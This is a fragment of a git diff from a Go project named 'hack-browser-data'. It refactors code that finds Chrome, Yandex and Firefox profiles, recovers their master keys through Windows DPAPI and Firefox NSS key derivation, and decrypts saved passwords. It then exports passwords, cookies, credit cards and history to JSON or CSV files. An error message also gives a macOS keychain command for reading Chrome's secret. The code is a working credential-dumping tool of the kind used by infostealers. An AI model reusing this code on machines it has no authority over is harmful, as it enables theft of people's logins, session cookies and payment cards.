||||
"yandex": {
|
||||
ProfilePath: os.Getenv("USERPROFILE") + yandexProfilePath,
|
||||
KeyPath: os.Getenv("USERPROFILE") + yandexKeyPath,
|
||||
Name: yandexName,
|
||||
New: NewChromium,
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
var (
|
||||
errBase64DecodeFailed = errors.New("decode base64 failed")
|
||||
)
|
||||
|
||||
// InitSecretKey with win32 DPAPI
|
||||
// conference from @https://gist.github.com/akamajoris/ed2f14d817d5514e7548
|
||||
func (c *Chromium) InitSecretKey() error {
|
||||
if c.keyPath == "" {
|
||||
return nil
|
||||
}
|
||||
if _, err := os.Stat(c.keyPath); os.IsNotExist(err) {
|
||||
return fmt.Errorf("%s secret key path is empty", c.name)
|
||||
}
|
||||
keyFile, err := utils.ReadFile(c.keyPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key")
|
||||
if encryptedKey.Exists() {
|
||||
pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
|
||||
if err != nil {
|
||||
return errBase64DecodeFailed
|
||||
}
|
||||
c.secretKey, err = decrypt.DPApi(pureKey[5:])
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
@ -1,224 +0,0 @@
|
||||
package data
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"sort"
|
||||
|
||||
"github.com/jszwec/csvutil"
|
||||
|
||||
"hack-browser-data/internal/utils"
|
||||
)
|
||||
|
||||
var (
|
||||
utf8Bom = []byte{239, 187, 191}
|
||||
)
|
||||
|
||||
func (b *bookmarks) outPutJson(browser, dir string) error {
|
||||
filename := utils.FormatFilename(dir, browser, "bookmark", "json")
|
||||
sort.Slice(b.bookmarks, func(i, j int) bool {
|
||||
return b.bookmarks[i].ID < b.bookmarks[j].ID
|
||||
})
|
||||
err := writeToJson(filename, b.bookmarks)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("%s Get %d bookmarks, filename is %s \n", utils.Prefix, len(b.bookmarks), filename)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *historyData) outPutJson(browser, dir string) error {
|
||||
filename := utils.FormatFilename(dir, browser, "history", "json")
|
||||
sort.Slice(h.history, func(i, j int) bool {
|
||||
return h.history[i].VisitCount > h.history[j].VisitCount
|
||||
})
|
||||
err := writeToJson(filename, h.history)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("%s Get %d history, filename is %s \n", utils.Prefix, len(h.history), filename)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *downloads) outPutJson(browser, dir string) error {
|
||||
filename := utils.FormatFilename(dir, browser, "download", "json")
|
||||
err := writeToJson(filename, d.downloads)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("%s Get %d history, filename is %s \n", utils.Prefix, len(d.downloads), filename)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *passwords) outPutJson(browser, dir string) error {
|
||||
filename := utils.FormatFilename(dir, browser, "password", "json")
|
||||
err := writeToJson(filename, p.logins)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("%s Get %d passwords, filename is %s \n", utils.Prefix, len(p.logins), filename)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *cookies) outPutJson(browser, dir string) error {
|
||||
filename := utils.FormatFilename(dir, browser, "cookie", "json")
|
||||
err := writeToJson(filename, c.cookies)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("%s Get %d cookies, filename is %s \n", utils.Prefix, len(c.cookies), filename)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *creditCards) outPutJson(browser, dir string) error {
|
||||
filename := utils.FormatFilename(dir, browser, "credit", "json")
|
||||
err := writeToJson(filename, c.cards)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("%s Get %d credit cards, filename is %s \n", utils.Prefix, len(c.cards), filename)
|
||||
return nil
|
||||
}
|
||||
|
||||
func writeToJson(filename string, data interface{}) error {
|
||||
f, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
w := new(bytes.Buffer)
|
||||
enc := json.NewEncoder(w)
|
||||
enc.SetEscapeHTML(false)
|
||||
enc.SetIndent("", "\t")
|
||||
err = enc.Encode(data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = f.Write(w.Bytes())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (b *bookmarks) outPutCsv(browser, dir string) error {
|
||||
filename := utils.FormatFilename(dir, browser, "bookmark", "csv")
|
||||
if err := writeToCsv(filename, b.bookmarks); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("%s Get %d bookmarks, filename is %s \n", utils.Prefix, len(b.bookmarks), filename)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *historyData) outPutCsv(browser, dir string) error {
|
||||
filename := utils.FormatFilename(dir, browser, "history", "csv")
|
||||
if err := writeToCsv(filename, h.history); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("%s Get %d history, filename is %s \n", utils.Prefix, len(h.history), filename)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *downloads) outPutCsv(browser, dir string) error {
|
||||
filename := utils.FormatFilename(dir, browser, "download", "csv")
|
||||
if err := writeToCsv(filename, d.downloads); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("%s Get %d download history, filename is %s \n", utils.Prefix, len(d.downloads), filename)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *passwords) outPutCsv(browser, dir string) error {
|
||||
filename := utils.FormatFilename(dir, browser, "password", "csv")
|
||||
if err := writeToCsv(filename, p.logins); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("%s Get %d passwords, filename is %s \n", utils.Prefix, len(p.logins), filename)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *cookies) outPutCsv(browser, dir string) error {
|
||||
filename := utils.FormatFilename(dir, browser, "cookie", "csv")
|
||||
var tempSlice []cookie
|
||||
for _, v := range c.cookies {
|
||||
tempSlice = append(tempSlice, v...)
|
||||
}
|
||||
if err := writeToCsv(filename, tempSlice); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("%s Get %d cookies, filename is %s \n", utils.Prefix, len(c.cookies), filename)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *creditCards) outPutCsv(browser, dir string) error {
|
||||
filename := utils.FormatFilename(dir, browser, "credit", "csv")
|
||||
var tempSlice []card
|
||||
for _, v := range c.cards {
|
||||
tempSlice = append(tempSlice, v...)
|
||||
}
|
||||
if err := writeToCsv(filename, tempSlice); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Printf("%s Get %d credit cards, filename is %s \n", utils.Prefix, len(c.cards), filename)
|
||||
return nil
|
||||
}
|
||||
|
||||
func writeToCsv(filename string, data interface{}) error {
|
||||
var d []byte
|
||||
f, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
_, err = f.Write(utf8Bom)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
d, err = csvutil.Marshal(data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = f.Write(d)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (b *bookmarks) outPutConsole() {
|
||||
for _, v := range b.bookmarks {
|
||||
fmt.Printf("%+v\n", v)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *cookies) outPutConsole() {
|
||||
for host, value := range c.cookies {
|
||||
fmt.Printf("%s\n%+v\n", host, value)
|
||||
}
|
||||
}
|
||||
|
||||
func (h *historyData) outPutConsole() {
|
||||
for _, v := range h.history {
|
||||
fmt.Printf("%+v\n", v)
|
||||
}
|
||||
}
|
||||
|
||||
func (d *downloads) outPutConsole() {
|
||||
for _, v := range d.downloads {
|
||||
fmt.Printf("%+v\n", v)
|
||||
}
|
||||
}
|
||||
|
||||
func (p *passwords) outPutConsole() {
|
||||
for _, v := range p.logins {
|
||||
fmt.Printf("%+v\n", v)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *creditCards) outPutConsole() {
|
||||
for _, v := range c.cards {
|
||||
fmt.Printf("%+v\n", v)
|
||||
}
|
||||
}
|
1011
core/data/parse.go
1011
core/data/parse.go
File diff suppressed because it is too large
Load Diff
@ -1,214 +0,0 @@
|
||||
package decrypt
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/des"
|
||||
"crypto/hmac"
|
||||
"crypto/sha1"
|
||||
"crypto/sha256"
|
||||
"encoding/asn1"
|
||||
"errors"
|
||||
|
||||
"golang.org/x/crypto/pbkdf2"
|
||||
)
|
||||
|
||||
var (
|
||||
errSecurityKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal")
|
||||
errPasswordIsEmpty = errors.New("password is empty")
|
||||
errDecryptFailed = errors.New("decrypter encrypt value failed")
|
||||
errDecodeASN1Failed = errors.New("decode ASN1 data failed")
|
||||
errEncryptedLength = errors.New("length of encrypted password less than block size")
|
||||
)
|
||||
|
||||
type ASN1PBE interface {
|
||||
Decrypt(globalSalt, masterPwd []byte) (key []byte, err error)
|
||||
}
|
||||
|
||||
func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) {
|
||||
var (
|
||||
n NssPBE
|
||||
m MetaPBE
|
||||
l LoginPBE
|
||||
)
|
||||
if _, err := asn1.Unmarshal(b, &n); err == nil {
|
||||
return n, nil
|
||||
}
|
||||
if _, err := asn1.Unmarshal(b, &m); err == nil {
|
||||
return m, nil
|
||||
}
|
||||
if _, err := asn1.Unmarshal(b, &l); err == nil {
|
||||
return l, nil
|
||||
}
|
||||
return nil, errDecodeASN1Failed
|
||||
}
|
||||
|
||||
// NssPBE Struct
|
||||
// SEQUENCE (2 elem)
|
||||
// SEQUENCE (2 elem)
|
||||
// OBJECT IDENTIFIER
|
||||
// SEQUENCE (2 elem)
|
||||
// OCTET STRING (20 byte)
|
||||
// INTEGER 1
|
||||
// OCTET STRING (16 byte)
|
||||
type NssPBE struct {
|
||||
NssSequenceA
|
||||
Encrypted []byte
|
||||
}
|
||||
|
||||
type NssSequenceA struct {
|
||||
DecryptMethod asn1.ObjectIdentifier
|
||||
NssSequenceB
|
||||
}
|
||||
|
||||
type NssSequenceB struct {
|
||||
EntrySalt []byte
|
||||
Len int
|
||||
}
|
||||
|
||||
func (n NssPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) {
|
||||
glmp := append(globalSalt, masterPwd...)
|
||||
hp := sha1.Sum(glmp)
|
||||
s := append(hp[:], n.EntrySalt...)
|
||||
chp := sha1.Sum(s)
|
||||
pes := paddingZero(n.EntrySalt, 20)
|
||||
tk := hmac.New(sha1.New, chp[:])
|
||||
tk.Write(pes)
|
||||
pes = append(pes, n.EntrySalt...)
|
||||
k1 := hmac.New(sha1.New, chp[:])
|
||||
k1.Write(pes)
|
||||
tkPlus := append(tk.Sum(nil), n.EntrySalt...)
|
||||
k2 := hmac.New(sha1.New, chp[:])
|
||||
k2.Write(tkPlus)
|
||||
k := append(k1.Sum(nil), k2.Sum(nil)...)
|
||||
iv := k[len(k)-8:]
|
||||
return des3Decrypt(k[:24], iv, n.Encrypted)
|
||||
}
|
||||
|
||||
// MetaPBE Struct
|
||||
// SEQUENCE (2 elem)
|
||||
// SEQUENCE (2 elem)
|
||||
// OBJECT IDENTIFIER
|
||||
// SEQUENCE (2 elem)
|
||||
// SEQUENCE (2 elem)
|
||||
// OBJECT IDENTIFIER
|
||||
// SEQUENCE (4 elem)
|
||||
// OCTET STRING (32 byte)
|
||||
// INTEGER 1
|
||||
// INTEGER 32
|
||||
// SEQUENCE (1 elem)
|
||||
// OBJECT IDENTIFIER
|
||||
// SEQUENCE (2 elem)
|
||||
// OBJECT IDENTIFIER
|
||||
// OCTET STRING (14 byte)
|
||||
// OCTET STRING (16 byte)
|
||||
type MetaPBE struct {
|
||||
MetaSequenceA
|
||||
Encrypted []byte
|
||||
}
|
||||
|
||||
type MetaSequenceA struct {
|
||||
PKCS5PBES2 asn1.ObjectIdentifier
|
||||
MetaSequenceB
|
||||
}
|
||||
type MetaSequenceB struct {
|
||||
MetaSequenceC
|
||||
MetaSequenceD
|
||||
}
|
||||
|
||||
type MetaSequenceC struct {
|
||||
PKCS5PBKDF2 asn1.ObjectIdentifier
|
||||
MetaSequenceE
|
||||
}
|
||||
|
||||
type MetaSequenceD struct {
|
||||
AES256CBC asn1.ObjectIdentifier
|
||||
IV []byte
|
||||
}
|
||||
|
||||
type MetaSequenceE struct {
|
||||
EntrySalt []byte
|
||||
IterationCount int
|
||||
KeySize int
|
||||
MetaSequenceF
|
||||
}
|
||||
|
||||
type MetaSequenceF struct {
|
||||
HMACWithSHA256 asn1.ObjectIdentifier
|
||||
}
|
||||
|
||||
func (m MetaPBE) Decrypt(globalSalt, masterPwd []byte) (key2 []byte, err error) {
|
||||
k := sha1.Sum(globalSalt)
|
||||
key := pbkdf2.Key(k[:], m.EntrySalt, m.IterationCount, m.KeySize, sha256.New)
|
||||
iv := append([]byte{4, 14}, m.IV...)
|
||||
return aes128CBCDecrypt(key, iv, m.Encrypted)
|
||||
}
|
||||
|
||||
// LoginPBE Struct
|
||||
// SEQUENCE (3 elem)
|
||||
// OCTET STRING (16 byte)
|
||||
// SEQUENCE (2 elem)
|
||||
// OBJECT IDENTIFIER
|
||||
// OCTET STRING (8 byte)
|
||||
// OCTET STRING (16 byte)
|
||||
type LoginPBE struct {
|
||||
CipherText []byte
|
||||
LoginSequence
|
||||
Encrypted []byte
|
||||
}
|
||||
|
||||
type LoginSequence struct {
|
||||
asn1.ObjectIdentifier
|
||||
IV []byte
|
||||
}
|
||||
|
||||
func (l LoginPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) {
|
||||
return des3Decrypt(globalSalt, l.IV, l.Encrypted)
|
||||
}
|
||||
|
||||
func aes128CBCDecrypt(key, iv, encryptPass []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
encryptLen := len(encryptPass)
|
||||
if encryptLen < block.BlockSize() {
|
||||
return nil, errEncryptedLength
|
||||
}
|
||||
|
||||
dst := make([]byte, encryptLen)
|
||||
mode := cipher.NewCBCDecrypter(block, iv)
|
||||
mode.CryptBlocks(dst, encryptPass)
|
||||
dst = PKCS5UnPadding(dst)
|
||||
return dst, nil
|
||||
}
|
||||
|
||||
func PKCS5UnPadding(src []byte) []byte {
|
||||
length := len(src)
|
||||
unpad := int(src[length-1])
|
||||
return src[:(length - unpad)]
|
||||
}
|
||||
|
||||
// des3Decrypt use for decrypter firefox PBE
|
||||
func des3Decrypt(key, iv []byte, src []byte) ([]byte, error) {
|
||||
block, err := des.NewTripleDESCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
blockMode := cipher.NewCBCDecrypter(block, iv)
|
||||
sq := make([]byte, len(src))
|
||||
blockMode.CryptBlocks(sq, src)
|
||||
return sq, nil
|
||||
}
|
||||
|
||||
func paddingZero(s []byte, l int) []byte {
|
||||
h := l - len(s)
|
||||
if h <= 0 {
|
||||
return s
|
||||
} else {
|
||||
for i := len(s); i < l; i++ {
|
||||
s = append(s, 0)
|
||||
}
|
||||
return s
|
||||
}
|
||||
}
|
@ -1,17 +0,0 @@
|
||||
package decrypt
|
||||
|
||||
func ChromePass(key, encryptPass []byte) ([]byte, error) {
|
||||
if len(encryptPass) > 3 {
|
||||
if len(key) == 0 {
|
||||
return nil, errSecurityKeyIsEmpty
|
||||
}
|
||||
var chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
|
||||
return aes128CBCDecrypt(key, chromeIV, encryptPass[3:])
|
||||
} else {
|
||||
return nil, errDecryptFailed
|
||||
}
|
||||
}
|
||||
|
||||
func DPApi(data []byte) ([]byte, error) {
|
||||
return nil, nil
|
||||
}
|
@ -1,17 +0,0 @@
|
||||
package decrypt
|
||||
|
||||
func ChromePass(key, encryptPass []byte) ([]byte, error) {
|
||||
var chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
|
||||
if len(encryptPass) > 3 {
|
||||
if len(key) == 0 {
|
||||
return nil, errSecurityKeyIsEmpty
|
||||
}
|
||||
return aes128CBCDecrypt(key, chromeIV, encryptPass[3:])
|
||||
} else {
|
||||
return nil, errDecryptFailed
|
||||
}
|
||||
}
|
||||
|
||||
func DPApi(data []byte) ([]byte, error) {
|
||||
return nil, nil
|
||||
}
|
@ -1,70 +0,0 @@
|
||||
package decrypt
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func ChromePass(key, encryptPass []byte) ([]byte, error) {
|
||||
if len(encryptPass) > 15 {
|
||||
// remove Prefix 'v10'
|
||||
return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
|
||||
} else {
|
||||
return nil, errPasswordIsEmpty
|
||||
}
|
||||
}
|
||||
|
||||
// chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc
|
||||
func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
blockMode, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
origData, err := blockMode.Open(nil, nounce, crypted, nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return origData, nil
|
||||
}
|
||||
|
||||
type dataBlob struct {
|
||||
cbData uint32
|
||||
pbData *byte
|
||||
}
|
||||
|
||||
func NewBlob(d []byte) *dataBlob {
|
||||
if len(d) == 0 {
|
||||
return &dataBlob{}
|
||||
}
|
||||
return &dataBlob{
|
||||
pbData: &d[0],
|
||||
cbData: uint32(len(d)),
|
||||
}
|
||||
}
|
||||
|
||||
func (b *dataBlob) ToByteArray() []byte {
|
||||
d := make([]byte, b.cbData)
|
||||
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
|
||||
return d
|
||||
}
|
||||
|
||||
// chrome < 80 https://chromium.googlesource.com/chromium/src/+/76f496a7235c3432983421402951d73905c8be96/components/os_crypt/os_crypt_win.cc#82
|
||||
func DPApi(data []byte) ([]byte, error) {
|
||||
dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
|
||||
dllKernel := syscall.NewLazyDLL("Kernel32.dll")
|
||||
procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
|
||||
procLocalFree := dllKernel.NewProc("LocalFree")
|
||||
var outBlob dataBlob
|
||||
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
|
||||
if r == 0 {
|
||||
return nil, err
|
||||
}
|
||||
defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
|
||||
return outBlob.ToByteArray(), nil
|
||||
}
|
12
go.mod
12
go.mod
@ -1,6 +1,6 @@
|
||||
module hack-browser-data
|
||||
|
||||
go 1.16
|
||||
go 1.18
|
||||
|
||||
require (
|
||||
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9
|
||||
@ -13,3 +13,13 @@ require (
|
||||
github.com/urfave/cli/v2 v2.2.0
|
||||
golang.org/x/crypto v0.0.0-20200604202706-70a84ac30bf9
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d // indirect
|
||||
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421 // indirect
|
||||
github.com/modern-go/reflect2 v1.0.2 // indirect
|
||||
github.com/russross/blackfriday/v2 v2.0.1 // indirect
|
||||
github.com/shurcooL/sanitized_anchor_name v1.0.0 // indirect
|
||||
github.com/tidwall/match v1.1.1 // indirect
|
||||
github.com/tidwall/pretty v1.2.0 // indirect
|
||||
)
|
||||
|
@ -10,6 +10,7 @@ import (
|
||||
"strings"
|
||||
|
||||
"hack-browser-data/internal/browser/data"
|
||||
"hack-browser-data/internal/browser/item"
|
||||
)
|
||||
|
||||
type Browser interface {
|
||||
@ -75,8 +76,8 @@ func pickFirefox(name string) []Browser {
|
||||
var browsers []Browser
|
||||
name = strings.ToLower(name)
|
||||
if name == "all" || name == "firefox" {
|
||||
for _, b := range firefoxList {
|
||||
multiFirefox, err := newMultiFirefox(b.browserInfo, b.items)
|
||||
for _, f := range firefoxList {
|
||||
multiFirefox, err := newMultiFirefox(f.browserInfo, f.items)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
@ -91,17 +92,22 @@ func pickFirefox(name string) []Browser {
|
||||
|
||||
type chromium struct {
|
||||
browserInfo *browserInfo
|
||||
items []item
|
||||
itemPaths map[item]string
|
||||
items []item.Item
|
||||
itemPaths map[item.Item]string
|
||||
}
|
||||
|
||||
// NewBrowser 根据浏览器信息生成 Browser Interface
|
||||
func newChromium(info *browserInfo, items []item) (*chromium, error) {
|
||||
// newChromium 根据浏览器信息生成 Browser Interface
|
||||
func newChromium(info *browserInfo, items []item.Item) (*chromium, error) {
|
||||
c := &chromium{
|
||||
browserInfo: info,
|
||||
items: items,
|
||||
}
|
||||
itemsPaths, err := getChromiumItemAbsPath(c.browserInfo.profilePath, c.items)
|
||||
absProfilePath := path.Join(homeDir, filepath.Clean(c.browserInfo.profilePath))
|
||||
// TODO: Handle file path is not exist
|
||||
if !isFileExist(absProfilePath) {
|
||||
return nil, fmt.Errorf("%s profile path is not exist", absProfilePath)
|
||||
}
|
||||
itemsPaths, err := getChromiumItemPath(absProfilePath, c.items)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@ -153,13 +159,13 @@ func (c *chromium) CopyItemFileToLocal() error {
|
||||
|
||||
type firefox struct {
|
||||
browserInfo *browserInfo
|
||||
items []item
|
||||
itemPaths map[item]string
|
||||
multiItemPaths map[string]map[item]string
|
||||
items []item.Item
|
||||
itemPaths map[item.Item]string
|
||||
multiItemPaths map[string]map[item.Item]string
|
||||
}
|
||||
|
||||
// newFirefox
|
||||
func newMultiFirefox(info *browserInfo, items []item) ([]*firefox, error) {
|
||||
func newMultiFirefox(info *browserInfo, items []item.Item) ([]*firefox, error) {
|
||||
f := &firefox{
|
||||
browserInfo: info,
|
||||
items: items,
|
||||
@ -186,8 +192,8 @@ func newMultiFirefox(info *browserInfo, items []item) ([]*firefox, error) {
|
||||
return firefoxList, nil
|
||||
}
|
||||
|
||||
func getFirefoxItemAbsPath(profilePath string, items []item) (map[string]map[item]string, error) {
|
||||
var multiItemPaths = make(map[string]map[item]string)
|
||||
func getFirefoxItemAbsPath(profilePath string, items []item.Item) (map[string]map[item.Item]string, error) {
|
||||
var multiItemPaths = make(map[string]map[item.Item]string)
|
||||
absProfilePath := path.Join(homeDir, filepath.Clean(profilePath))
|
||||
// TODO: Handle read file error
|
||||
if !isFileExist(absProfilePath) {
|
||||
@ -224,7 +230,7 @@ func (f *firefox) CopyItemFileToLocal() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func firefoxWalkFunc(items []item, multiItemPaths map[string]map[item]string) filepath.WalkFunc {
|
||||
func firefoxWalkFunc(items []item.Item, multiItemPaths map[string]map[item.Item]string) filepath.WalkFunc {
|
||||
return func(path string, info fs.FileInfo, err error) error {
|
||||
for _, v := range items {
|
||||
if info.Name() == v.DefaultName() {
|
||||
@ -232,7 +238,7 @@ func firefoxWalkFunc(items []item, multiItemPaths map[string]map[item]string) fi
|
||||
if _, exist := multiItemPaths[parentDir]; exist {
|
||||
multiItemPaths[parentDir][v] = path
|
||||
} else {
|
||||
multiItemPaths[parentDir] = map[item]string{v: path}
|
||||
multiItemPaths[parentDir] = map[item.Item]string{v: path}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -244,31 +250,6 @@ func getParentDir(absPath string) string {
|
||||
return filepath.Base(filepath.Dir(absPath))
|
||||
}
|
||||
|
||||
func chromiumWalkFunc(items []item, itemPaths map[item]string) filepath.WalkFunc {
|
||||
return func(path string, info os.FileInfo, err error) error {
|
||||
for _, item := range items {
|
||||
if item.DefaultName() == info.Name() && item == chromiumKey {
|
||||
itemPaths[item] = path
|
||||
}
|
||||
if item.DefaultName() == info.Name() && strings.Contains(path, "Default") {
|
||||
itemPaths[item] = path
|
||||
}
|
||||
}
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
func getChromiumItemAbsPath(profilePath string, items []item) (map[item]string, error) {
|
||||
var itemPaths = make(map[item]string)
|
||||
absProfilePath := path.Join(homeDir, filepath.Clean(profilePath))
|
||||
// TODO: Handle file path is not exist
|
||||
if !isFileExist(absProfilePath) {
|
||||
return nil, fmt.Errorf("%s profile path is not exist", absProfilePath)
|
||||
}
|
||||
err := filepath.Walk(absProfilePath, chromiumWalkFunc(items, itemPaths))
|
||||
return itemPaths, err
|
||||
}
|
||||
|
||||
func (f *firefox) GetMasterKey() ([]byte, error) {
|
||||
return f.browserInfo.masterKey, nil
|
||||
}
|
||||
@ -333,38 +314,38 @@ const (
|
||||
yandexName = "Yandex"
|
||||
)
|
||||
|
||||
var defaultFirefoxItems = []item{
|
||||
firefoxKey4,
|
||||
firefoxPassword,
|
||||
firefoxCookie,
|
||||
firefoxBookmark,
|
||||
firefoxHistory,
|
||||
firefoxDownload,
|
||||
firefoxCreditCard,
|
||||
firefoxLocalStorage,
|
||||
firefoxExtension,
|
||||
var defaultFirefoxItems = []item.Item{
|
||||
item.firefoxKey4,
|
||||
item.firefoxPassword,
|
||||
item.firefoxCookie,
|
||||
item.firefoxBookmark,
|
||||
item.firefoxHistory,
|
||||
item.firefoxDownload,
|
||||
item.firefoxCreditCard,
|
||||
item.firefoxLocalStorage,
|
||||
item.firefoxExtension,
|
||||
}
|
||||
|
||||
var defaultYandexItems = []item{
|
||||
chromiumKey,
|
||||
yandexPassword,
|
||||
chromiumCookie,
|
||||
chromiumBookmark,
|
||||
chromiumHistory,
|
||||
chromiumDownload,
|
||||
yandexCreditCard,
|
||||
chromiumLocalStorage,
|
||||
chromiumExtension,
|
||||
var defaultYandexItems = []item.Item{
|
||||
item.chromiumKey,
|
||||
item.yandexPassword,
|
||||
item.chromiumCookie,
|
||||
item.chromiumBookmark,
|
||||
item.chromiumHistory,
|
||||
item.chromiumDownload,
|
||||
item.yandexCreditCard,
|
||||
item.chromiumLocalStorage,
|
||||
item.chromiumExtension,
|
||||
}
|
||||
|
||||
var defaultChromiumItems = []item{
|
||||
chromiumKey,
|
||||
chromiumPassword,
|
||||
chromiumCookie,
|
||||
chromiumBookmark,
|
||||
chromiumHistory,
|
||||
chromiumDownload,
|
||||
chromiumCreditCard,
|
||||
chromiumLocalStorage,
|
||||
chromiumExtension,
|
||||
var defaultChromiumItems = []item.Item{
|
||||
item.chromiumKey,
|
||||
item.chromiumPassword,
|
||||
item.chromiumCookie,
|
||||
item.chromiumBookmark,
|
||||
item.chromiumHistory,
|
||||
item.chromiumDownload,
|
||||
item.chromiumCreditCard,
|
||||
item.chromiumLocalStorage,
|
||||
item.chromiumExtension,
|
||||
}
|
||||
|
@ -7,12 +7,14 @@ import (
|
||||
"os/exec"
|
||||
|
||||
"golang.org/x/crypto/pbkdf2"
|
||||
|
||||
"hack-browser-data/internal/browser/item"
|
||||
)
|
||||
|
||||
var (
|
||||
chromiumList = map[string]struct {
|
||||
browserInfo *browserInfo
|
||||
items []item
|
||||
items []item.Item
|
||||
}{
|
||||
"chrome": {
|
||||
browserInfo: chromeInfo,
|
||||
@ -57,7 +59,7 @@ var (
|
||||
}
|
||||
firefoxList = map[string]struct {
|
||||
browserInfo *browserInfo
|
||||
items []item
|
||||
items []item.Item
|
||||
}{
|
||||
"firefox": {
|
||||
browserInfo: firefoxInfo,
|
||||
|
@ -44,6 +44,15 @@ func TestPickChromium(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetChromiumItemAbsPath(t *testing.T) {
|
||||
p := `/Library/Application Support/Google/Chrome/`
|
||||
s, err := getChromiumItemPath(p, defaultChromiumItems)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
fmt.Println(s)
|
||||
}
|
||||
|
||||
func TestPickBrowsers(t *testing.T) {
|
||||
browsers := PickBrowser("all")
|
||||
for _, v := range browsers {
|
||||
|
@ -6,7 +6,7 @@ import (
|
||||
|
||||
"github.com/tidwall/gjson"
|
||||
|
||||
"hack-browser-data/internal/browser/consts"
|
||||
"hack-browser-data/internal/browser/item"
|
||||
"hack-browser-data/internal/decrypter"
|
||||
"hack-browser-data/internal/utils"
|
||||
)
|
||||
@ -14,7 +14,7 @@ import (
|
||||
var (
|
||||
chromiumList = map[string]struct {
|
||||
browserInfo *browserInfo
|
||||
items []item
|
||||
items []item.Item
|
||||
}{
|
||||
"chrome": {
|
||||
browserInfo: chromeInfo,
|
||||
@ -31,7 +31,7 @@ var (
|
||||
}
|
||||
firefoxList = map[string]struct {
|
||||
browserInfo *browserInfo
|
||||
items []item
|
||||
